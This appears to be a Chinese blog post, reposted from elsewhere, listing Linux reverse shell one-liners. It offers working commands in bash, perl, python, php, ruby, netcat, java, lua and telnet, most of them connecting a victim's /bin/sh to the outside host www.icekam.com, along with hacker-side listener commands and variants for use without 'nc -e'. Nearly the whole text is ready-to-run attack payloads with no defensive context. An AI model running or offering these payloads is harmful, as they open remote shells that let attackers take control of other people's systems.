前言
记录一些Linux下反弹Shell的姿势，本文转载自互联网。
内容
bash版本
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bash -i >& /dev/tcp/www.icekam.com/8080 0>&1
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perl版本
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perl -e 'use Socket;$i="www.icekam.com";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'&1
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python版本
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python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("www.icekam.com",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
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php版本
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php -r '$sock=fsockopen("www.icekam.com",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
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ruby版本
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ruby -rsocket -e'f=TCPSocket.open("www.icekam.com",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
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nc版本
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nc -e /bin/sh www.icekam.com 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc www.icekam.com 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
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java版本
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r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/www.icekam.com/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
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lua版本
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lua -e "require('socket');require('os');t=socket.tcp();t:connect('www.icekam.com','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
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nc不使用-e
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Hacker:nc -lvnp listenport
Victim:mknod /tmp/backpipe p
Victim:/bin/sh 0</tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe
不使用nc
Method 1:
Hacker: nc -nvlpp 8080
Victim: /bin/bash -i > /dev/tcp/www.icekam.com/8080 0<&1 2>&1
Method 2:
Hacker: nc -nvlpp8080
Victim: mknod backpipe p && telnet www.icekam.com 8080 0backpipe
Method 3:
Hacker: nc -nvlpp8080
Hacker: nc -nvlpp8888
Victim: telnet www.icekam.com 8080 | /bin/bash | telnet www.icekam.com 8888"
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总结
